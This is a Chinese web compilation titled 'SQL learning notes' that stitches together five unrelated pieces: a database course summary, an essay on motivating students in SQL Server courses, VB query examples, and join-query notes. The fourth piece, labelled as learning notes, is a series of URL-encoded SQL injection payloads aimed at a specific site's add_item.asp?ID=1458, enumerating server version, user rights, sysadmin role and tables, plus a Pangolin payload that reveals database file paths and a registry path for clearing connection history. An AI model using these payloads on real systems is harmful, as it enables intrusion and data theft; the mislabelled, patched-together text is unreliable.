SQL学习心得

SQL学习心得（精选5篇）

1.SQL学习心得 篇一

SQL数据库学习笔记与心得

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SQL是市场占有率最大的数据库之一，是信息化社会的产物，是整理、查询、分析数据的强有力工具。我对于SQL数据库的学习是在实验与探索之中度过的。

下面将我本学期所学的主要知识简单总结如下：

共分四大块：

一、数据库基本原理；

二、SQL标准语言；

三、数据库设计；

四、数据库安全。

一、数据库基本原理

数据库技术是计算机领域中发展最快的技术之一。数据模型是数据库系统的核心和基础。常用的数据模型有层次模型、网状模型、关系模型、面向对象模型、对象关系模型。其中关系模型是目前最重要的一种数据模型。关系数据库是我们需要掌握的重点。

关系模型中常用的关系操作包括：查询操作和插入、删除、修改操作两大部分。关系的查询表达能力很强，是关系操作中最主要的部分。

二、SQL标准语言

SQL（Structured Query Language），即结构化查询语言，是关系数据库的标准语言。SQL标准语言从1986年公布以来随着数据库技术的发展不断发展，不断丰富。

SQL 功能动词

数 据 定 义 CREATE，DROP，ALTER

数 据 查 询 SELECT

数 据 操 纵 INSERT，UPDATE，DELETE

数 据 控 制 GRANT，REVOKE

SQL之所以能够为用户和业界所接受，并成为国际标准，是因为它是一个综合的、功能极强同时又简洁易学的语言。SQL集数据查询、数据操纵、数据定义林巧

和数据控制功能于一体。有如下特点：1）综合统一；2）高度过程化；3)面向集合的操作方式；4）以同一种语法结构提供多种使用方式；5）语言简洁，易学易用。

SQL的数据定义语句：

创建删除修改

表CREATE TABLEDROP TABLEALTER TABLE

视图 CREATE VIEWDROP VIEW

索引 CREATE INDEXDROP INDEX

数据库查询是数据库的核心操作。也是数据库学习的重点和难点。SQL提供了SELECT语句进行数据库的查询,该语句具有灵活的使用方式和丰富的功能。其一般格式为：

SELECT [ALL|DISTINCT] <目标列表达式>

FROM <表名或视图名>[，<表名或视图名> ] …

[ WHERE <条件表达式> ]

[ GROUP BY <列名1> [ HAVING <条件表达式> ] ]

[ ORDER BY <列名2> [ ASC|DESC ] ]；

SELECT语句既可以完成简单的单表查询，也可以完成复杂的连接查询和嵌套查询。

(一)、单表查询

1、选择表中的若干列：

2、选择表中的若干元组;

2）查询满足条件的元组。WHERE子句常用的查询条件有

3、ORDER BY子句。

4、聚集函数。

5、ORDER BY子句

(二)、连接查询

1、等值与非等值连接查询；

2、自然连接；

3、外连接；

4、复合条件连接。

(三)、嵌套查询

1、带有IN谓语的子查询；

2、带有比较运算符的子查询；

3、带有ANY(SOME)或ALL谓语的子查询；

4、带有EXISTS谓词的子查询。

(四)、集合查询。

数据的更新操作有三种：向表中添加若干行数据、修改表中的数据和删除表中的若干行数据。

三、数据库设计

数据库设计是指对于一个给定的应用环境，构造最优的数据库模式，建立数据库及其应用系统，使之能够有效地存储数据，满足各种用户的应用需求（信息要求和处理要求

数据库设计的基本步骤：

1、数据库设计的准备工作；

2、数据库设计的过程(六个阶段)： 1）需求分析阶段；2）概念结构设计阶段；3）逻辑结构设计阶段；4）数据库物理设计阶段；5）数据库实施阶段；6）数据库运行和维护阶段．

四、数据库安全

数据库的安全性是指保护数据库，防止因用户非法使用数据库造成数据泄露、更改或破坏。课本中讲述了三类计算机系统安全性问题：技术安全类、管理安全类和政策法律类。

如何控制数据库的安全性? 其常用的方法有:1)用户标识和鉴定2）存取控制;3)视图;4)审计;5)密码存储．

数据库的完整性：即数据的正确性和相容性防止不合语义的数据进入数据库。例如:学生的年龄必须是整数，取值范围为14--29；学生的性别只能是男或女；学生的学号一定是唯一的； 学生所在的系必须是学校开设的系；

以上是我对SQL数据库重点知识的理解。通过学习本课程和上机实验，我了解了数据库的概念及其重要性，还有其今后的发展方向，这将有利于我今后更好地把握时代之脉搏。

2.SQL学习心得 篇二

兴趣是最好的老师。培养学生学习的兴趣, 是当前教育的需要。只有培养学生的学习兴趣, 进而产生需要, 形成动机, 才能最终养成良好的学习态度;具备坚强的意志, 学生的潜能才能得以发挥, 整个素质方可得到提高。

(一) 学习兴趣能产生积极的情绪, 降低疲劳

充满兴趣可使学生对知识充满热情, 形成积极的探求欲望。学习中无须调动太多的有意注意, 这正是我们在素质教育中提出的自主、愉快学习的状态。

(二) 学习兴趣是学习活动的重要向导, 是学习活动的强大动力

学习兴趣决定着学习活动的前进方向。学生由于兴趣不同, 对同一学科知识的理解也会有所侧重, 这也是学习兴趣的导向所致。学习兴趣可以直接转化为学习动力, 推动学习活动的正常进行, 浓厚的兴趣使其主观能动性和积极性最大限度地发挥出来。

(三) 学习兴趣可激发潜能, 提高创新思维和创新能力

人们的潜能能否被激发, 在某种程度上取决于对某事物的兴趣。浓厚的兴趣对激发大学生的潜能、灵感等方面起着催化剂的作用。

二、大学生学习兴趣缺失的表现及原因

学习兴趣具有内在趋向性和选择性的特征。在学习过程中, 大学生难免会出现个人学习兴趣与教育要求不相符的现象。大学生学习兴趣缺失的原因表现在以下几方面:

(一) 在部分院校中, 学习兴趣淡漠现象较为普遍。

部分院校学生学习兴趣和热情低下, 主要原因在于有些学生升学考分较低, 不能按照自己的意愿选择院校和专业;部分学生在填写志愿时并不清楚自己的兴趣是什么, 而是大多数听从家长的安排, 追求热门专业, 或选择家长认为理想的专业, 入学后发现自己的兴趣与专业之间偏离。

(二) 由于社会盲目追求高学历造成学生学

习压力大, 再加上就业压力, 使学生产生逃避心理, 索性不学, 沉迷在游戏世界中, 造成学习兴趣丧失。

(三) 学生的基础整体下降。

调查表明, 大部分教师认为扩招后学生的基础知识下降很大, 学生学业基础的薄弱问题直接影响了教学内容的安排和教学进度, 部分学生跟不上, 听不懂, 造成了兴趣缺失。

(四) 学生成熟度较低, 正确的价值观没有

形成, 学习的目标不明确, 不知道学习的重要性, 总是认为所学的知识没有用, 部分学生认为学习是为了找好工作, 出现明显分化和差异的倾向, 学习动力就不能稳定持久, 不容易发现自己的收获, 缺乏学习成就感的激励和推动, 失去学习兴趣。

三、培养和激发大学生对《SQL Server数据库应用与开发》学习兴趣的思考

兴趣的产生既受主观因素的影响, 也和客观条件有关。因此, 在大学生学习兴趣的激发和培养上, 要从高校、教师和学生三个角度入手。

(一) 从高校的角度

1. 课程方面, 高校要向学生提供完善的课程内容。

增设有助于学生确立未来职业规划的SQL数据库领域职场体验环节, 这是十分必要和重要的, 从一入学就要让对于将来要在数据库方面有职业规划的学生清晰地知道, 这个职业必须具备哪些知识, 不具备这些知识就不能在这个领域发展, 让学生有目的的, 带着使命感去学, 让学生懂得, 不论是自主创业还是受聘就业, 只有具备深厚的专业知识, 才能事业有成。提高学生的学习兴趣, 变被动为主动地学习。

2. 扩大学生学习的自由度, 提供寻求学习兴

趣的契机, 一个宽松, 自由的学习氛围才能让学生轻装上阵, 抱着自由的心情去学习。

3. 强化支撑教育质量的经费基础。

近年来, 我国的高等教育规模扩招是在高校经费增长滞后的状态下实现的, 这种在资源有限的条件下实现的低成本规模扩增势必给高校教学质量的维持和提升带来严峻的挑战, 应加大经费投入, 完善SQL数据库实验室, 组织以学生为主的项目开发。

(二) 从教师对学生的角度

1. 发挥学生的主观能动性, 提高其独立获取知识的能力。

鼓励学生要善于自我创设问题的情境, 积极开展自主性思维, 增加学习内容的兴趣含量, 要站在较高层次进行创造性思维和大胆尝试, 自我成就感越大, 学习兴趣也就越浓。

2. 在SQL的学习中使学生保持好奇心和求知欲。

好奇心是人们积极探求新鲜事物的心理倾向, 求知欲则是人们积极探求新知识、认识新事物的一种欲望。大学生所学习的专业知识是全新的领域, 适于激发其积极探索的好奇心, 发展他们良好的求知兴趣。

3. 在SQL的学习中适当激励, 增强学生的自信心。

学习中取得成效时, 会产生愉快的情感体验, 自信心增强, 学习兴趣也会得到激发, 学习兴趣又会促使学生更加努力地获得更大的学业进步, 对学习的兴趣更加浓厚, 形成良性循环。

(三) 从教师自身的角度

培养学生对SQL Server数据库应用与开发课程产生学习动力的关键是教师的引导, 上好精彩的每堂课尤为重要。

1. 上课伊始, 引趣入题, 精心设计好每一堂

课的开头, 激发学生的学习兴趣, 就会为整堂课的教学拉开良好的序幕。

2. 教师既要调动学生学习的积极性, 又要传授给学生学习方法。

由于学生的个体差异原因, 每个人有不同的学习方法, 面对这门综合性较强的课程应采用何种行之有效的学习方法, 教师要进行正确的引导, 并辅之以恰当有效的管理, 让学生主动地、全面地参与到教学活动中来。

3. 工学结合, 实现课堂知识创新, 在课堂教

学中, 知识创新要体现工学结合的人才培养模式, 引导学生从现实情景中如何解决问题, 因此, 教师在讲课中必须坚持以就业为导向、以SQL行业需求为标准的职业教育理念。

4. 选好范例由浅入深引导学生, 范例教学是

教授像SQL Server数据库应用与开发这类操作性比较强的课程的重要手段, 知识必须是经过精选的, 能起范例作用的, 有助于促进学生对知识的认知, 加强理解, 强化记忆, 奠定好利用基本知识进一步扩展、综合应用的基础。范例的选取尤为重要, 选择贴近学生生活的范例, 将他们带入到SQL Server数据库的应用中, 让学生体会到各个知识点从了解、掌握再到应用的学习过程。

摘要：高等教育招生规模的扩大, 急速提升了计算机教育的供给规模, 计算机教育的环境和生源发生了巨大的变化。在这样的背景下, 如何在计算机专业课上有效激发学生学习兴趣, 提高高校教师课堂教学质量成为摆在我们面前的重大课题。本文分析了《SQLServer数据库应用与开发》课程学习动力不足的原因, 有针对性地提出了一些解决对策。

关键词：学习兴趣,缺失,教师,思考

参考文献

[1]吴飞晓.大学生学习兴趣的培养与激发.吉林教育科学, 2000 (6) .

3.VB数据库SQL语句学习 篇三

2.Select StudentID, StudentName from student 只查询学号和姓名

3.Select StudentID as 学号, StudentName as 姓名, Sex as 性别，Class as 班级,NormalScore as平时成绩，ExperimentScore as 实验成绩, ExaminationScore as 考试成绩 from student

4.Select * from student where sex=’男’只需要查看男生的成绩

5.Select * from student where NormalScore>80只需要查看平时成绩大于80分的记录

6.Select * from student where studentname like ‘陈%’查询姓陈的同学的记录

7.Select * from student order by examinationScore根据考试成绩排序

8.Select * from student order by examinationScore排序---降序

9.Select Sum(examinationScore)as 总成绩 from student求总成绩

10.Select Avg(examinationScore)as平均成绩 from student求平均成绩

11.Select count(*)as 总记录数 from student求总记录数

12.Select Max(ExaminationScore)as 最高分 from student求最高分

13.Select Min(ExaminationScore)as 最高低分 from student求最低分

14.Select Class as 班级, Avg(ExaminationScore)as平均成绩 from student group by class各班级成绩的分类汇总

Public Class frmMain

Private ObjCnn As New OleDbConnection

Private ObjCmd As OleDbCommand

Private StrDir As String = “D:MIS1025StudentMgr.accdb”

Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As

System.EventArgs)Handles MyBase.Load

ObjCnn.ConnectionString = “Provider=Microsoft.ACE.OLEDB.12.0;Data Source=” & StrDir

ObjCnn.Open()

ObjCmd = New OleDbCommand

ObjCmd.Connection = ObjCnn

End Sub

Private Sub FindRecord(ByVal StrSQL As String)

ObjCmd.CommandText = StrSQL

Dim rd As OleDbDataReader = ObjCmd.ExecuteReader

Dim tbl As New DataTable

tbl.Load(rd)

DataGridView1.DataSource = tbl

End Sub

Private Sub CmdFind_Click(ByVal sender As System.Object,System.EventArgs)Handles CmdFind.Click

FindRecord(txtSQL.Text)

4.SQL学习心得 篇四

ID=1458%20and%20@@version%3D0 判断版本

ID=1458%20and%20db_name%28%29%3D0 数据库名

ID=1458%20and%20@@servername%3D0 服务器名

ID=1458%20and%20system_user%3D0 系统用户名

D=1458%20and%20user%3D0 权限/DBO OR PUBLIC

ID=1458%20and%20quotename%28is_srvrolemember%280x730079007300610064006D0069006E00%29%29%3D0 是否sysadmin,1是0否

ID=1458%20and%20quotename%28db_name%281%29%29%3D0 判断数据库

ID=1458%20and%20quotename%28db_name%282%29%29%3D0

ID=1458%20and%20quotename%28db_name%283%29%29%3D0

ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2032%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0

ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2033%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0

解密之后就是:

ID=1458 and (select top 1 quotename(name) from Digicom.dbo.sysobjects where type=U AND name not in (select top 33 name from Digicom.dbo.sysobjects where type=U))=0

下面是pangolin的:

/add_item.asp?ID=1458%20and%200<(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([filename]%20as%20nvarchar(4000))%20from(select%20top%20%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--%20and%201=1

得到数据库文件的路径.

-------------------------------------------------------------------------------------------------------------------------------------------------------------------

清除SQL2005的下拉列表中的地址

SQL是在HKEY_CURRENT_USERSoftwareMicrosoftMicrosoft SQL Server80ToolsClientPrefServers

5.Sql语句查询 篇五

在程序开发过程中，不仅可以对单一数据表进行查询，还可以进行多表查询，用户通过多表查询从多个表中提取出需要的数据。

多表查询可以分为内连接查询、外连接查询以及联合查询。

1．内连接查询

连接查询是指通过各个表之间共同列的关联性查询数据。连接查询分为内连接查询和外连接查询。内连接是将两个相互交叉的数据集合中重叠部分的数据行连接起来，返回表示两个数据集合之间匹配连接关系的数据行。

可以在FORM子句中使用INNER JOIN„ON„建立内连接，也可以在WHERE子句中指定连接条件建立内连接，例如：

select a.UserName,b.BookName,b.Datetm from UserInfo as a inner join SellSheet as b on a.UserID= b.UserID

也可以用下面的语句实现。

select a.UserName,b.BookName,b.Datetm from UserInfo as a,SellSheet as b where a.UserID=b.UserID

2．外连接查询

外连接是对内连接的扩充，除了将两个数据集合中重叠部分以内的数据行连接起来之外，还可以根据要求返回左侧或右侧数据集合中非匹配的数据，即左外连接（LEFT OUTER JOIN）和右外连接（RIGHT OUTER JOIN）。

l左外连接LEFT OUTER JOIN

左外连接LEFT OUTER JOIN逻辑运算符除了返回两个数据表中满足连接条件的行，它还返回任何在后一个数据表中没有匹配行的前一个数据表中的行。非匹配行的部分字段列作为空值返回。

l右外连接RIGHT OUTER JOIN

右外连接RIGHT OUTER JOIN是左外连接的反向连接。它除了返回两个数据表中满足连接条件的行，还返回任何在前一个数据表中没有匹配行的后一个数据表中的行。非匹配行的部分字段列作为空值返回。

3．使用UNION进行联合查询

使用UNION运算符可以进行联合查询。UNION运算符连接多个SELECT语句，将两个或更多查询的结果组合为单个结果集，该结果集包含联合查询中所有查询的全部行。使用UNION运算符遵循的规则如下：

（1）在使用UNION运算符组合的语句中，所有选择列表的表达式数目必须相同（列名、算术表达式、聚集函数等）。

（2）在使用UNION组合的结果集中的相应列必须具有相同数据类型，或者两种数据类型之间必须存在可能的隐性数据转换，或者提供了显式转换。例如，在datetime数据类型的列和binary数据类型的列之间不能使用UNION运算符，除非提供了显式转换，而在money数据类型的列和int数据类型的列之间可以使用UNION运算符，因为它们可以进行隐性转换。

（3）结果集中列的名字或者别名是由第一个SELECT语句的选择列表决定的。